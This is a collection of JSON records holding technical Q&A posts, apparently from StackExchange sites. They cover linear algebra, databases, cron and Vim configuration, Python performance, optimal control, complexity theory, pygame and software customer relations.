{  "id": "_scicomp.24187"  , "question": "Recall that a unit lower triangular matrix $L\\in\\mathbb{R}^{n\\times n}$ is a lower triangular matrix with diagonal elements $e_i^{T}L e_i = \\lambda_{ii} = 1$. An elementary unit lower triangular column form matrix, $L_i$, is an elementary unit lower triangular matrix in which all of the nonzero subdiagonal elements are contained in a single column. For example, for $n = 4$$$L_1 = \\begin{pmatrix}1 & 0 & 0 & 0\\\\\\lambda_{21} & 1 & 0 & 0\\\\\\lambda_{31} & 0 & 1 & 0\\\\\\lambda_{41} & 0 & 0 & 1\\\\\\end{pmatrix} \\ \\ \\ L_2 = \\begin{pmatrix}1 & 0 & 0 & 0\\\\0 & 1 & 0 & 0\\\\0 & \\lambda_{32} & 1 & 0\\\\0 & \\lambda_{42} & 0 & 1\\\\\\end{pmatrix} \\ \\ \\ L_3 = \\begin{pmatrix}1 & 0 & 0 & 0\\\\0 & 1 & 0 & 0\\\\0 & 0 & 1 & 0\\\\0 & 0 & \\lambda_{43} & 1\\\\\\end{pmatrix}$$Our first task was to show that any unit lower triangular column form matrix, $L_i\\in\\mathbb{R}^{n\\times n}$, can be written as the identity matrix plus an outer product of two vectors, i.e., $L_i = I + v_i w_i^{T}$ where $v_i\\in\\mathbb{R}^{n\\times n}$ and $w_i\\in \\mathbb{R}^n$.solution - Since only the $i$-th column of $L_i$ differs from the identity matrix the outer product $v_i w_i^{T}$ must have the same structure. This implies that $w_i = e_i$ and it follows that $v_i$ is added to the $i$-th column of $I$ to define $L_i e_i$. Since only elements below the main diagonal element are different from $I$, it follows that $v_i$ has a lower structure to its potentially nonzero elements. This is often indicated in the notation by using $l_i$ instead of the generic $v_i$. The conditions on the vector are $$l_i^{T}e_j = \\begin{cases}0 \\ & 1\\leq j \\leq i\\\\\\lambda_{ji} \\ & i+1\\leq j \\leq n\\end{cases}$$and the expression is $L_i = I + l_i e_i^{T}$Now the question I have is the following: i.) Suppose $L_i\\in\\mathbb{R}^{n\\times n}$ and $L_j\\in\\mathbb{R}^{n\\times n}$ are elementary unit lower triangular column form matrices with $1\\leq i < j \\leq n-1$. Consider the matrix product $B = L_i L_j$. Determine an efficient algorithm to compute the product and its computational and storage complexity.ii.) Suppose $L_i\\in\\mathbb{R}^{n\\times n}$ and $L_j\\in\\mathbb{R}^{n\\times n}$ are elementary unit lower triangular column form matrices with $1\\leq j \\leq i \\leq n-1$. Consider the matrix product $B = L_i L_j$. Determine an efficient algorithm to compute the product and its computational and storage complexity.The only difference from (i) and (ii) are the inequalities as you can see. I have been told that (i) requires no computation but I don't understand why. I am quite confused about these types of problems. Any suggestions are greatly appreciated."  , "title": "Efficient algorithm for a matrix product"  , "tags": "linear algebra;algorithms;matrices;complexity"  } 
{  "id": "_softwareengineering.289884"  , "question": "I originally started writing a question on StackOverflow about a clever way to optimise keeping a version history of large text fields in a relational database table, possibly by using deltas instead of incurring the storage cost of a full copy of the changed text in an audit table on each update, which is regularly suggested as the simplest way to keep version history in a database.As I was writing it, I began to wonder, what exactly do I mean by incur the storage cost, really? I've read in a few places on the internet that the complete works of Shakespeare uncompressed comes to around 5Mb, so assuming that's true, 1TB could hold roughly 200,000 copies.That is a big book, with a lot of text in it. 200,000 is a lot of copies of that book. A 1TB spinning disk will not exactly break the bank these days, either.When we're talking about text in a database in 2015, is it wasted effort to think about compression, optimisation, or even deliberately minimising inputs, or is storage cheap enough now that I'm never going to have to care about hitting an upper limit, in practice, and I should instead optimise for app code and schema simplicity?"  , "title": "Is using up 'too much' storage space a practical concern when storing only text in a database in 2015?"  , "tags": "database;storage;cost estimation"  } 
{  "id": "_softwareengineering.127007"  , "question": "I am seeking some ideas for how to build and install software with some parameters. These including target OS, target platform CPU details, debugging variant, etc.Some parts of the install are shared, such as documentation and many platform independent files, others are not, such as 64 and 32 bit libraries when these are separated and not together in a multi-arch library.On big networked platforms one often has multiple computers sharing some large server space, so there is actually cause to have even Windows and Unix binaries on the same disk.My product has already fixed an install philosophy of $INSTALL_ROOT/genericname/version/ so that multiple versions can coexist.The question is: how to manage the layout of all the other stuff?"  , "title": "File system layout for multiple build targets"  , "tags": "configuration;builds;install"  } 
{  "id": "_hardwarecs.1885"  , "question": "I just built a new gaming computer.  It's a skylake build with the i7 6700k, Asus Maximus viii hero, and some g.skill ram (32gb).  I'm about to buy a new video card, and I've been looking over the options for a couple of weeks.I've decided that I want to spend between $650 and $700 and get a 980ti.This turned out to be a pretty large point of contention in the forums I've been looking through, so I figured I'd check here.In the benchmarks I've looked at, I've seen pretty good comparisons here and here between theAsus Strix OC, Gigabyte G1 Gaming, MSI Gaming 6G, EVGA SC.I've narrowed it down to the Asus Strix OC, MSI Gaming 6G, and adding in the Gigabyte Xtreme.  Based on different reviews, I decided on the Strix at one point, but I keep seeing people complain about their heatsink not touching their processor.I've had a couple of bad experiences with Gigabyte products, so the xtreme makes me a little nervous.And the MSI Gaming clashes terribly with my mobo/case (also, it's the least powerful of the three cards chosen).Any advice on how to decide?  I know they are all amazing cards, and there probably isn't a wrong choice, but this is my first REAL gaming rig, and don't want any regrets.  I'm loving the cpu/mobo so far, and really want to stay happy.  Feel free to throw any other card in that price range at me, and I'll look into it.  Any advice is welcome.Side NoteThis really shouldn't be a side note, but I'll be using this computer for general use.  I will do some amount of game development on it, but not much, and some general programming, but the video card is obviously so I can get max settings on any game I want for a while.Edit1In order to make this less opinion based, I've changed the actual question. I know I want the Strix because of how fantastic its performance in benchmarks is, but I'm worried about the past problems with their heatsink.  Does anyone know if Asus has fixed the problem with the Strix cards?  If no one knows, I think I'd rather go with the Gigabyte Xtreme, to avoid having to send a card back."  , "title": "Has Asus fixed the heat sink problem with the Strix 980ti"  , "tags": "gaming;graphics cards;game development"  } 
{  "id": "_codereview.2214"  , "question": "Is it good or bad practice (or, when is it appropriate) to use shorthand methods?Lets pretend we're using jQuery here, because it has a lot of them.:jQuery.ajax()jQuery.get()jQuery.getJSON()jQuery.getScript().load()jQuery.post()These are all really just shorthand forms for the ajax function, with the exception of load which combines another function later on.I can use $.ajax( dataType: 'script',) to do the same thing as getScript, but why?This to me seems insane, and overly complicates the API. Is this good, or bad, or what? Why isn't there a getCSS and a PostCSS and a postScript and a putScript too?"  , "title": "shorthand methods"  , "tags": "javascript;jquery"  , "accepted_answer": "Hm, good question. I guess I would say that the number one rule of programming is DRY: Don't Repeat Yourself. You could argue that any function is just shorthand for whatever it does. But whenever you find yourself typing the same thing over and over and over, even if that thing is only two or three lines, it's worth at least asking yourself, should I make this into a function?Now the authors of JQuery don't know exactly what kind of code you're writing, they just have a general idea of what JavaScript code out there in the world looks like. So maybe they originally just had $.ajax() and then over time they realized, you know, 99% of the time, people are either doing always GETs or always POSTs, it's rare that you do something like:var method;if (someComplicatedThing()) method = 'GET';else method = 'POST';$.ajax({method:method});so why not shorten it up a little bit?I agree it's possible to overdo it though, and have a zillion little functions that are all variants of the same idea, making the API seem overwhelming. So it's a question of finding the right balance, I guess."  } 
{  "id": "_unix.340770"  , "question": "If we only got disks from iSCSI (additionally multipath) and no local disks, how can we install a CentOS 7 on them? "  , "title": "Install CentOS 7 without any local disk?"  , "tags": "centos;system installation;iscsi;san"  } 
{  "id": "_codereview.19654"  , "question": "I've written a script to generate DNA sequences and then count the appearance of each step to see if there is any long range correlation.My program runs really slow for a length 100000 sequence 100 times replicate.  I already run it for more than 100 hours without completion.#!/usr/bin/env pythonimport sys, randomimport osimport mathlength = 10000initial_p = {'a':0.25,'c':0.25,'t':0.25,'g':0.25}             tran_matrix = {'a': {'a':0.495,'c':0.113,'g':0.129,'t':0.263},               'c': {'a':0.129,'c':0.063,'g':0.413,'t':0.395},               't': {'a':0.213,'c':0.495,'g':0.263,'t':0.029},               'g': {'a':0.263,'c':0.129,'g':0.295,'t':0.313}}def fl():       def seq():          def choose(dist):            r = random.random()            sum = 0.0            keys = dist.keys()            for k in keys:                sum += dist[k]                if sum > r:                    return k            return keys[-1]        c = choose(initial_p)        sequence = ''        for i in range(length):            sequence += c             c = choose(tran_matrix[c])        return sequence    sequence = seq()        # This program takes a DNA sequence calculate the DNA walk score.        #print sequence    #print len    u = 0    ls = []    for i in sequence:        if i == 'a' :            #print i            u = u + 1        if  i == 'g' :                #print i            u = u + 1        if  i== 'c' :                #print i            u = u - 1        if  i== 't' :                #print i            u = u - 1        #print u        ls.append(u)            #print ls    l = 1    f = []    for l in xrange(1,(length/2)+1):        lchange =1        sumdeltay = 0        sumsq = 0        for i in range(1,length/2):            deltay = ls[lchange + l ] - ls[lchange]            lchange = lchange + 1            sq = math.fabs(deltay*deltay)            sumsq = sumsq + sq            sumdeltay = sumdeltay + deltay        f.append(math.sqrt(math.fabs((sumsq/length/2) - math.fabs((sumdeltay/length/2)*(sumdeltay/length/2)))))        l = l + 1    return fdef performTrial(tries):    distLists = []    for i in range(0, tries):        fl()        distLists.append(fl())    return distListsdef main():    tries = 10    distLists = performTrial(tries)    #print distLists    #print distLists[0][0]    averageList = []    for i in range(0, length/2):        total = 0        for j in range(0, tries):            total += distLists[j][i]        #print distLists        average = total/tries        averageList.append(average)    # print total    return averageListout_file = open('Markov1.result', 'w')result = str(main())out_file.write(result)out_file.close()"  , "title": "Generating DNA sequences and looking for correlations"  , "tags": "python;beginner;algorithm;bioinformatics"  } 
{  "id": "_scicomp.27197"  , "question": "So I have been investigating a problem to get a glider with control of its elevator to fly as far as possible from any given initial state. To keep this simple, we will view this in 2D space with the following differential equation:\\begin{align}\\dot{\\boldsymbol{q}} = \\dot{\\begin{bmatrix} x \\\\y \\\\\\theta \\\\\\phi \\\\\\dot{x}\\\\\\dot{y}\\\\\\dot{\\theta}\\end{bmatrix}} &= \\begin{bmatrix} \\dot{x} \\\\ \\dot{y} \\\\ \\dot{\\theta} \\\\u \\\\-\\left(f_w \\sin\\theta + f_e \\sin\\left(\\theta + \\phi\\right)\\right)m^{-1} \\\\\\left(f_w \\cos\\theta + f_e \\cos\\left(\\theta + \\phi\\right)\\right)m^{-1} - g\\\\\\left(f_e (l \\cos\\phi + l_e ) - f_w l_w\\right) I^{-1}\\end{bmatrix} \\\\\\end{align}and the following relationships:\\begin{align}f_w &= \\rho S_w |\\dot{\\boldsymbol{x}}_w|^2 \\sin\\alpha_w \\\\f_e &= \\rho S_e |\\dot{\\boldsymbol{x}}_e|^2 \\sin\\alpha_e \\\\\\alpha_w &= \\theta - \\tan^{-1}\\frac{\\dot{y}_w}{\\dot{x}_w} \\\\\\alpha_e &= \\theta + \\phi - \\tan^{-1}\\frac{\\dot{y}_e}{\\dot{x}_e} \\\\\\dot{x}_w &= \\dot{x} + l_w \\dot{\\theta} \\sin\\theta \\\\\\dot{y}_w &= \\dot{y} - l_w \\dot{\\theta} \\cos\\theta \\\\\\dot{x}_e &= \\dot{x} + l\\dot{\\theta}\\sin\\theta + l_e\\left(\\dot{\\theta} + \\dot{\\phi}\\right)\\sin\\left(\\theta + \\phi\\right)\\\\\\dot{y}_e &= \\dot{y} - l\\dot{\\theta}\\cos\\theta - l_e\\left(\\dot{\\theta} + \\dot{\\phi}\\right)\\cos\\left(\\theta + \\phi\\right) \\\\\\dot{\\boldsymbol{x}}_w &= \\dot{x}_w \\hat{e}_x + \\dot{y}_w \\hat{e}_y \\\\\\dot{\\boldsymbol{x}}_e &= \\dot{x}_e \\hat{e}_x + \\dot{y}_e \\hat{e}_y \\\\\\end{align}where $u$ is the control, essentially a choice for $\\dot{\\phi}$, $\\phi$ is the relative elevator angle with respect to the pitch angle $\\theta$, $x$ and $y$ are the horizontal and vertical positions, $\\dot{x}$ and $\\dot{y}$ are the horizontal and vertical speeds, $\\dot{\\theta}$ is the angular velocity of the glider, $f_w$ is the net aerodynamic force magnitude from the main wing, $f_e$ is the net aerodynamic force magnitude from the elevator wing, $g$ is gravitational acceleration constant, and the other constants are tied to glider physical traits.The values being used for the various constants are the following:\\begin{align}m &= 0.05 \\\\g &= 9.81 \\\\\\rho &= 1.292 \\\\S_w &= 0.1 \\\\S_e &= 0.025 \\\\I &= 6 \\cdot 10^{-3} \\\\l &= 0.35 \\\\l_w &= -0.03 \\\\l_e &= 0.05\\end{align}and the initial condition I primarily use to test is the following:\\begin{align}\\boldsymbol{q}_0 = \\begin{bmatrix} x_0 \\\\y_0 \\\\\\theta_0 \\\\\\phi_0 \\\\\\dot{x}_0\\\\\\dot{y}_0\\\\\\dot{\\theta}_0\\end{bmatrix} &= \\begin{bmatrix} 0 \\\\ 2 \\\\ 0 \\\\0 \\\\6 \\\\0\\\\0\\end{bmatrix} \\\\\\end{align}I am experimenting with using Dynamic Programming to tackle this problem when $u$ is constrained such that $-1 \\leq u \\leq 1$. Since Dynamic Programming is memory intensive for large state spaces, I recognized that for an optimal distance controller, I don't actually need the first two states, $x$ and $y$. With this change, I defined $\\boldsymbol{q} = \\lbrack \\theta, \\phi, \\dot{x}, \\dot{y}, \\dot{\\theta} \\rbrack^T$ along with the associated differential equations truncation. I also define the discrete dynamical system using the following:\\begin{align}\\boldsymbol{q}_{k+1} &= \\boldsymbol{q}_k + \\Delta t \\dot{\\boldsymbol{q}}\\left(\\boldsymbol{q}_k, u_k\\right)\\\\&= f\\left(\\boldsymbol{q}_k,u_k\\right)\\end{align}To go along with this change, I made the overall optimization problem to maximize the following:\\begin{align}V &= \\sum_{i=1}^N \\Delta t \\dot{x}_i - \\gamma \\dot{y}^2_i\\\\\\text{subject to}& \\begin{matrix} -1 \\leq u_k \\leq 1 \\\\ \\boldsymbol{q}_{k+1} = f\\left(\\boldsymbol{q}_k,u_k\\right)\\end{matrix}\\end{align}because the cost function should approximate the value for $x$ at the end of a flight, which is obviously what I would have optimized if using the full system of equations.After doing some experiments, it seems the cost function chosen doesn't really work well for reasons I am unsure of. However, if I change the cost function to the following, it performs much better:\\begin{align}V &= \\sum_{i=1}^N \\theta_i^2 + \\gamma \\dot{\\theta}_i^2\\end{align}for some $0 \\leq \\gamma \\lt 1$. I chose this second cost function thinking one thing that might help a long flight is the glider remaining level instead of diving too soon and losing a lot of energy. It works decent, but I am still wondering why the first isn't doing too well.With all this said, is there any problems with the first optimization formulation that stand out?"  , "title": "Optimal Control using Dynamic Programming - Optimizing for Furthest Distance"  , "tags": "optimization;constrained optimization;optimal control;dynamic programming"  } 
{  "id": "_cs.71937"  , "question": "I was reading in Papadimitriou's Computational Complexity book Chapter 14, about Oracle Machines. Papadimitriou defines, in definition 14.3, page 339-340, Oracle Turing Machines with oracle a language $A \\subseteq \\Sigma^*$:The computation of $M^{?}$ with oracle access $A$ in input $x$ is denoted $M^A(x)$.So far so good.In the next paragraph, he writes: If $\\mathcal{C}$ is any deterministic or non-deterministic complexity class, we can define $\\mathcal{C}^A$ to be the class of all languages decided by machines of the same sort and time bound as $\\mathcal{C}$, that have oracle access to $A$.My question is:Given any complexity class $B$ and $C$, can we always define $B^C$?This is motivated by a question I posted (and deleted) at TCS.stackexchange where , using Papadimitriou's notation, I defined $B^C$ for a complexity class $B$ and $C$ but I received criticism (besides the context of the question) that I am not allowed to do that because oracle is not an operation defined on languages and hence complexity classes. Does this contradict the extract from Papadimitriou's book (where he explicitly defines $B^C$ for a _complexity class $B$)?My understanding is thatWe can define $B^C$ for a complexity class (i.e., a set of languages) $B$ if $B$ can be defined by a Turing Machine model. If yes, why it is not explicit in Papadimitriou's book?"  , "title": "Precise definition of oracle classes $A^B$"  , "tags": "complexity theory;computability;computation models;complexity classes;oracle machines"  } 
{  "id": "_softwareengineering.178727"  , "question": "Here's a situation that usually happens in some companies:Announce interesting product X.Promise a release date.Release on the promised released date, ready or not.Users discover and report defects.Send patch after patch after patch after patch after patch.My question is: Ummm, what could be the factors that would lead them to tolerate these undesirable practices? So, in the name of quality, what can be practically and realistically improved in those practicies?I can think of time constraints, user feedback, sponsors pressuring the company, lack of money."  , "title": "Why would companies allow these practices?"  , "tags": "project"  } 
{  "id": "_cs.29306"  , "question": "So most resources providing Sudoku puzzles assign a difficulty category to each puzzle, even some I've seen with 15 or more difficulty categories. But what is a good way to assign these difficulty categories? If enough human puzzle solvers were used, the average time for a human to complete a puzzle and the percentage of people who successfully solved the puzzle could be computed for the human sample, and difficulty categories assigned accordingly. But it seems like there should be predictable scenarios that keep appearing as various puzzles are being solved that affect the average human difficulty, which could be automatically detected as a computer solves the puzzle and then these patterns could be assembled into a predicted average difficulty for humans. Are there / what are good techniques to do this? Maybe machine learning with enough training data of human performance on sample puzzles?"  , "title": "Are there ways to automatically (no human testing) measure a $9 \\times 9$ Sudoku puzzle's average hardness for a human to solve?"  , "tags": "algorithms;machine learning;board games;sudoku"  } 
{  "id": "_cogsci.9097"  , "question": "Given the following hypothetical situation:An individual discovers that his girlfriend has cheated on him, but decides to continue to date her after she assures him that she will not do it again. Upon reading messages on her phone he becomes suspicious and begins to believe that she will cheat on him again. He simultaneously believes he should break up with his girlfriend but also doesn't want to break up with her despite having absolutely no support for anything but monogamy.Is that a good example of Cognitive Dissonance?"  , "title": "Cognitive Dissonance"  , "tags": "cognitive psychology;cognitive dissonance"  } 
{  "id": "_unix.94456"  , "question": "Is it possible to make commands in crontab run with bash instead of sh? I know you can pass commands to bash with -c, but that's annoying and I never use sh anyway."  , "title": "How to change cron shell (sh to bash)?"  , "tags": "shell;cron"  , "accepted_answer": "You should be able to set the environment variable prior to the cron job running:SHELL=/bin/bash5 0 * * *       $HOME/bin/daily.job >> $HOME/tmp/out 2>&1"  } 
{  "id": "_scicomp.8193"  , "question": "Recently I am using Umfpack with Intel MKL BLAS. To link the library to a program one has to link mkl_rt.lib / mkl_rt.so. However there is no word which version: sequential or parallel of library is linked.Anyone could help?Thanks in advance."  , "title": "How to tell which (sequential or parallel) version of Intel MKL is linked?"  , "tags": "blas;intel mkl"  , "accepted_answer": "I believe that MKL has the threaded parallel and serial functions in one unified library. You can try setting OMP_NUM_THREADS or MKL_NUM_THREADS to a range of values and see how the performance varies. Setting either to 1 will give you the serial behavior."  } 
{  "id": "_codereview.141518"  , "question": "Would appreciate any suggestions or improvements, I'm sure there are many. Especially so on the way I've avoided multiple hits by the missiles; shifting the asteroid into a separate group to enable the animation to continue without registering more hits and hence addition to the score.P.S As it stands my game has a ship at the bottom of the screen which can move horizontally but not vertically. It can fire missiles at a horizontally moving asteroid sprite at the top of the screen. If the asteroid is hit by a missile sprite, it triggers an explosion animation and the sprite is removed. A new asteroid sprite is then spawned.                                                                                            Sprite:class MyAsteroid(pygame.sprite.Sprite):     My sprite    def __init__(self):        super().__init__()        self.height = 0        self.width = 0        self.vel_x = 5        self.velocity_y = 0        self.hit = False        self.files = []        self.images = []        self.index = 0        self.asteroid_explosion = pygame.mixer.Sound(explosion.wav)        for i in range(1,10):            file = explosion0.bmp            new_file = file.replace(0, str(i))            self.files.append(new_file)        for file in self.files:            self.images.append(load_image(file))    def ast_hit(self):        self.hit = True    def update(self, missile_group, the_screen):        super().update()        self.X = self.X + self.vel_x        if self.X < 0 or self.X > the_screen.width - self.width:            self.vel_x = -(self.vel_x)        if self.hit == True:            self.vel_x = 0            self.asteroid_explosion.play()            self.image = self.images[self.index]            self.index += 1            if self.index >= len(self.images):                missile_group.remove(self)    def draw(self):        super().draw()    def load(self, image):        self.image = image        self.rect = self.image.get_rect()        self.width, self.height = image.get_size()    # X property    def _get_x(self): return self.rect.x    def _set_x(self, value): self.rect.x = value    X = property(_get_x, _set_x)    # Y property    def _get_y(self): return self.rect.y    def _set_y(self, value): self.rect.y = value    Y = property(_get_y, _set_y)    # position property    def _get_pos(self): return self.rect.topleft    def _set_pos(self, value): self.rect.topleft = value    position = property(_get_pos, _set_pos)Hit detection:for asteroid in asteroid_group:            asteroid_hit = False            asteroid_hit = pygame.sprite.spritecollide(asteroid, missile_group,\\                                                       True)            if asteroid_hit:                asteroid.ast_hit()                asteroid_group.remove(asteroid)                hit_group.add(asteroid)                #asteroid.hit = True##                for missile in asteroid_hit:##                    missile_group.remove(missile)                score += 10"  , "title": "Avoiding multiple hits to Sprite by shifting Sprite to separate group"  , "tags": "python;python 3.x;pygame"  } 
{  "id": "_softwareengineering.201579"  , "question": "I have a Java program that takes about an hour to run. While it is running, if I change the source code and recompile it, will this affect the above run?"  , "title": "Recompiling a java project while it is running"  , "tags": "java;compiler;runtime"  } 
{  "id": "_vi.2071"  , "question": "Say I'm editing file foo. I want to copy/write what I have in the buffer to bar and change the buffer to be editing bar instead of foo. I can achieve this with::w bar:e barBut that has a few problemsIf bar is actually /usr/local/share/long/path/to/bar, I really don't want to type that in twice, even with tab completion.It reloads the file, potentially messing with the settings/folds/etc. I had for that buffer.The working directory is left the same. 1 is the biggest problem I'd like a solution to address; 2 would be really helpful, 3 is more of a nice to have.Is there a cleaner way to do this? "  , "title": "How can I copy the current file and start editing the copy instead of the current file?"  , "tags": "save;multiple files;file operations"  } 
{  "id": "_cs.66144"  , "question": "I am using a sensing board able to detect magnetic signals between the board and a display.I have a set of objects that are represented (each of them) by a unique set of points (magnets) with a particular shape. For example: object #1 is made by three points that form an equilateral triangle with side length 1cm; object #2 is made by three points that form a right triangle with sides 3cm, 4cm, 5cm; object #3 is made by three aligned points with distance 2cm; and so on. I can have a multiplicity of objects with unique patterns.Now I have a list of points with the coordinates w.r.t. the Cartesian plane, and I need to match them referring to the patterns I got from the objects. I also know that every point must be matched, therefore I can minimize the overlapping errors. In practice, every point in the set can belong to maximum one object, and at the same time also it must belong to an object of the initial set.Any idea on how to do that in an efficient way?"  , "title": "Group points by given shapes"  , "tags": "computational geometry"  , "accepted_answer": "In the general case a problem like this is NP, however in the vast majority of real cases it should be easy.20 points make 1140 triangles so it shouldn't be hard to pick out the triangles most similar to your basic shapes (unless the shapes can be more complicated). A little ugly backtracking may be needed when the top scoring triangles overlap.Also, if most magnets move continuously, you can easily map old points to new points and old triangles to new triangles.What I'm talking about are fairly obvious methods. There may be smarter ways to do this, but you don't necessarily need them."  } 
{  "id": "_unix.307090"  , "question": "I created a boot USB drive with Arch Linux and sucessfully installed it, but didn't like it as much as I thought I would so I then created a boot USB drive with Debian. The problem is that only the 16GB USB drive is visible in the partition menu during the Debian installation sequence and I would like to install it to the laptop's hard disk. I tried clearing the existing Arch Linux paritions from the disk by re-creating the Arch Linux boot USB and using the shell and parted to remove them, but this didn't make it visible to the Debian installer either. Any ideas?"  , "title": "Debian installer doesn't display hard disk in partition menu"  , "tags": "debian;debian installer"  } 
{  "id": "_unix.301380"  , "question": "I am creating a script that will email errors/warnings from a log. I would like to have this sent every half hour but I only want to send it if there is a new entry. How would I grep out only the last half hour of errors?The time stamp in the log is in the following format.< Aug 1, 2016 2:15:29 PM MDT>  < Error details.....>The script so far is:#!/bin/bashcat /var/log/logfile.log | egrep -i error|warning | tee -a /tmp/log.tmpget only last 30 min of errors | mail -s Errors/Warning user@email.comIs it possible to convert the time stamps (Aug 1, 2016 2:15:29 PM MDT) to epoch time then compare it to the current epoch time or is there a way with sed/awk/perl to get the last 30 minutes?"  , "title": "Log file grep entries from last 30 min"  , "tags": "awk;sed;scripting;perl;date"  , "accepted_answer": "Great ideas, the simplest is @MelBurslan suggestion to diff the files.#!/bin/shMAILTO=user@email.comOFILE=/var/tmp/alerts.tmpLOG30=/var/tmp/LOG30LOGNOW=/var/tmp/LOGNOWHOST=`hostname`# setup fileif [ -f ${OFILE} ]; then  cat /dev/null > ${OFILE}else  touch ${OFILE}ficat /var/log/logfile.log | egrep -i error|warning | tee -a ${LOGNOW}diff ${LOG30} ${LOGNOW} | tee -a ${OFILE}if [ -f ${OFILE} ]; then  echo Errors | cat - ${OFILE} > temp && mv temp ${OFILE}  mailx -r root@server.com -s Errors ${MAILTO} < ${OFILE}firm ${LOG30}mv ${LOGNOW} /var/tmp/LOG30rm ${OFILE}"  } 
{  "id": "_vi.5647"  , "question": "As far as I know, all good scripts/programs start off with a shebang line as the first line:#!/bin/bash#!/usr/bin/env python#!/usr/bin/perletc.  Is it possible to pass that line to Vim in command-mode to generically determine the program to use when executing the current file.For example, perl file needs:! perl%Python, :! python%If the shebang is already there in the file, is it possible to replace the specific program before the % character (current file) with the shebang line/argument?Of course, if the file is executable already :! ./% worksThe idea is to map a key so that, as you write code, simply hitting a shortcut key the file is executed; mimicking an IDE.Once again, assuming the file is not (yet) executable, since you just started writing it in Vim."  , "title": "How to pass generic shebang line to shell"  , "tags": "command line;external command"  , "accepted_answer": "I'm not sure this is what you want but you could try this mapping using the <F7> key:nnoremap <F7> :<C-U>sil! exe '!' . matchstr(getline(1), '#!\\zs.*') . ' ' . shellescape(expand('%:p'), 1) <Bar> redraw!<CR>matchstr(getline(1), '#!\\zs.*') extract the text after the shebangshellescape(expand('%:p'), 1) expand the full path to the current file and protect characters that may have a special meaning for the shell; the second non-nul argument is useful to escape special items such as !, %, # which could be expanded by Vim on the command-lineIf you want to see the output in the shell, you could remove :sil! and :redraw!:nnoremap <F7> :<C-U>exe '!' matchstr(getline(1), '^#!\\zs.*') shellescape(expand('%:p'), 1)<CR>"  } 
{  "id": "_softwareengineering.76087"  , "question": "I have come across this several times when selling a prepackaged solution.  Customer buys the package, which clearly sets out that it can do XYZ, but the customer wanted it to do ABC.  The customer then emails for support.  I inform the customer that the product was never designed for the purpose they had in mind (integrating it with another product).The customer asks for a refund as they cannot use the product.  This is where I'm in two minds.  First, the product is fully functioning and they have now obtained the source code (PHP script).  How am I to know they aren't going to use it anyway and still want a refund?  Second, I do feel bad for the customer.  If they're being honest, and most are, then they cannot use the product and therefore wasted the money in their eyes.  But, that wasn't my fault.Up until now I've refunded the money if requested, but now I'm comparing what I do with how bigger companies deal with this kind of situation.  What would they do?  Maybe because they're bigger, they don't care about a few refunds every now and then, but to a one man band like me, every sale is needed!What is the best way to deal with this kind of situation?"  , "title": "Customer buys software for function it cannot do and then complains. How to resolve?"  , "tags": "customer relations;sales"  , "accepted_answer": "While I agree in a service industry reputation is a key issue, one of the things that nullifies that is the unlikelihood of word of mouth sales, repeat customers, or any of the other hallmarks of a good reputation. If you're a one man software seller, then it's unlikely you're offering a ton of products, particularly if they're as complicated as this one likely is given some of the hints in your comments. While I agree with @George Stocker that the number of these requests points to a potential problem in the clearness of your product's capabilities, I also agree (though less aggressively towards customers) with his commenter @SLC that customers may tend to be lazy with respect to ascertaining product features.My opinion (and personal practice for my own side projects) is this:With a clearly visible source code there should be a key activation mechanism within the software that allows operation of the software for 30/60/90/whatever days. It doesn't have to be enterprise level suitable for Microsoft or anything, but something that makes it very unattractive to try to get around. During the period, if the product is undesired, their money is refunded and the key no longer works at the end of it. If a refund is not requested, a new key is delivered and no refund is given from then on.If someone is not smart enough to try before they buy or throws money down on a product without verifying first that it will do what they need, then they deserve to be separated from their money. Make it clear on your website that services and products are offered without refund at all or after a certain amount of time, etc. If you use the method I mention in #1 mention that.Research the return policies for software at major companies (software in the box). See if any of them might be compatible with your capabilities. Most won't accept refunds on opened software or will refund a certain amount minus a restocking fee. When you ship the code, it is considered immediately opened software, and these policies may be helpful to you.In all aspects of purchasing/selling I involve myself in, I operate under the phrase Caveat emptor. It's the responsibility of the purchaser to make sure they know what they're buying. You're not out there smooth talking these people into buying your software, it's being purchased through your website. They're not being taken for a ride, they're being frivolous with their money, and their carelessness will only end up costing you money in sales and time spent dealing with it.On the other hand, if you are out there smooth talking them out of their wallets, give their money back, ya crook."  } 
{  "id": "_cs.6374"  , "question": "I got a n*m matrix updated in realtime (i.e. about every 10ms) with values between 0 and 1024, and I want to work out from that matrix a multitouch trackpad behaviour, which is:generate one or more points on the surface given the values on the matrix,make this or those point as big as the value can be.For example here is a few lines of a 9x9 matrix updates, and we can consider the following matrix as an example (with a touch in the middle):[ [ 12,  7,12 ],  [ 12,129,19 ],  [ 12, 11,22 ] ]The goal is to mimic the behaviour of a common touchpad (like on every smartphone, or laptop). So, I'm getting values from a evenly distributed matrix of capacitive sensors on a physical object, which are processed by a microcontroller into a matrix, and I want to get coordinates and weight of one or several points.The idea would be to get something like this (of course, I don't expect to have more than 2 or 3 detected points, and that level of precision with a matrix that small).Here are a few example raw logs:http://m0g.net/~guyzmo/touch_diag.log http://m0g.net/~guyzmo/touch_double.logEdits:Thinking about my problematic made me consider this idea: I think I should make some kind of interpolation to augment the definition of the matrix, and in some way make the new values additive.i.e. imagine we have the following matrix :[ [ 200, 200, 150 ],  [ 150, 150,  80 ],  [  80,  80,  40 ] ]and we want to interpolate it somehow into something that would look like (I'm inventing the values, but it's to expose the idea):[ [ 200, 400, 200, 175, 150 ],  [ 175, 200, 175, 150, 125 ],  [ 150, 170, 150, 125,  80 ],  [ 100, 125, 100,  80,  60 ],  [  80,  80,  80,  60,  40 ] ]I've looked at interpolation algorithms, and it looks like the one we want that is the closer to our needs is the hermite interpolation. But though I have RTFM on interpolation methods, I don't know how I can apply it to a matrix."  , "title": "How to correlate a matrix of values to get a coordinated point?"  , "tags": "algorithms;matrices"  , "accepted_answer": "I finally managed to get what I want. I used python's scipy'sinterpolate.RectBivariateSpline(x,y,z,kx,ky)to create a 60x60 matrix out of the 3x3 matrix. And out of that, I used opencv libraries to detect blobs (mainly, findContours() and fitEllipse()), so now I got a list of ellipses matching the several touches I have."  } 
{  "id": "_webapps.72725"  , "question": "A few months ago comments were loading automatically, now I have to refresh to see new ones. How do I turn auto-load back on?"  , "title": "How can real time comments be turned on?"  , "tags": "facebook;facebook timeline"  } 
